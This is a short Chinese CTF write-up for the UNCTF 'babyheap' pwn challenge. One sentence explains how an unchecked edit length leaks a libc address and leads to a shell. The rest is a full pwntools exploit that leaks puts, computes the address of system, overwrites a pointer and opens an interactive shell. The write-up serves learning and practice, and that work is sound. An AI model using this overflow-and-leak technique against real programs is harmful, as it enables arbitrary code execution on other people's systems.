UNCTF babyheap

简单堆入门题目edit长度自己输入且堆上面由put的libc地址覆盖00截断即可打印出libc然后再次写入’/bin/sh’拿到shell
exp:

from pwn import *
p=p=process('./babyheap')
elf=ELF('./babyheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset=libc.symbols['puts']-libc.symbols['system']
log.success('offset: '+hex(offset))


def add(content):
	p.recvuntil('choice: ')
	p.sendline('1')
	p.recvuntil('content: ')
	p.sendline(content)

def edit(idx,size,content):
	p.recvuntil('choice: ')
	p.sendline('2')
	p.recvuntil('index: ')
	p.sendline(str(idx))
	p.recvuntil('size: ')
	p.sendline(str(size))
	p.recvuntil('content: ')
	p.sendline(content)

def delete(idx):
	p.recvuntil('choice: ')
	p.sendline('4')
	p.recvuntil('index: ')
	p.send(str(idx))

def show(idx):
	p.recvuntil('choice: ')
	p.sendline('3')
	p.recvuntil('index: ')
	p.sendline(str(idx))


pop_rdi=0x0400bf3
add('aaaa')   #idx 0
add('bbbb')   #idx 1
edit(0,24,'a'*20+'ccc')
show(0)
put_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('put_addr: '+hex(put_addr))
libcbase=put_addr-libc.symbols['puts']
system_addr=libcbase+libc.symbols['system']
edit(1,0x20,'/bin/sh\x00'+'a'*16+p64(system_addr))
show(1)
p.interactive()

你可能感兴趣的:(题目,学习)